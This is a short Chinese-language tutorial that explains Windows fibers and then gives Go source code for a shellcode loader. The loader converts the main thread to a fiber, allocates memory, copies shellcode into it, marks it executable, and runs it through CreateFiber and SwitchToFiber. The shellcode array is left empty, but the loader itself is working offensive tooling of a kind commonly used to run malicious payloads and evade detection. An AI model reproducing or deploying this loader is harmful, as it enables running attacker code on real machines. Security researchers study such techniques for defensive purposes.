关于纤程：

> 纤程是比线程的更小的一个运行单位。可以把一个线程拆分成多个纤程，然后通过人工转换纤程，从而让各个纤程工作。线程的实现通过Windows内核完成的，因此Windows可以自动对线程进行调度。**但是纤程是通过用户模式的代码来实现的，是程序员自己写的算法，内核不知道纤程的实现方式**，而是你自己定义的调度算法，因此纤程是“非抢占”的调度方式。

`shellcode` 执行步骤：

- 由于纤程只能被纤程调度，因此需要将主线程转换为纤程
- 将shellcode写入内存可执行页中
- 创建纤程指向步骤2创建的shellcode，并用步骤1的纤程调度创建的纤程
- 步骤3纤程被调度，触发shellcode执行

代码如下：

```go
package main

import (
	"github.com/JamesHovious/w32"
	"my_createFiber/winApi"
	"unsafe"
)

func main() {
	//转换当前主线程为纤程
	winApi.ProcConvertThreadToFiber()

	shellcode := []byte{}

	//申请内存空间并且复制数组到内存中
	shellcodeAddr, _ := w32.VirtualAlloc(0, len(shellcode), w32.MEM_RESERVE|w32.MEM_COMMIT, w32.PAGE_READWRITE)
	winApi.ProcRtlCopyMemory(w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

	//更改内存空间可执行权限
	var oldProtection w32.DWORD = 0
	w32.VirtualProtect(shellcodeAddr, len(shellcode), w32.PAGE_EXECUTE_READ, &oldProtection)

	//创建纤程
	fiberAddr := winApi.ProcCreateFiber(0, w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(nil)))
```

```
        //调用纤程
        winApi.ProcSwitchToFiber(w32.PVOID(fiberAddr))

}
```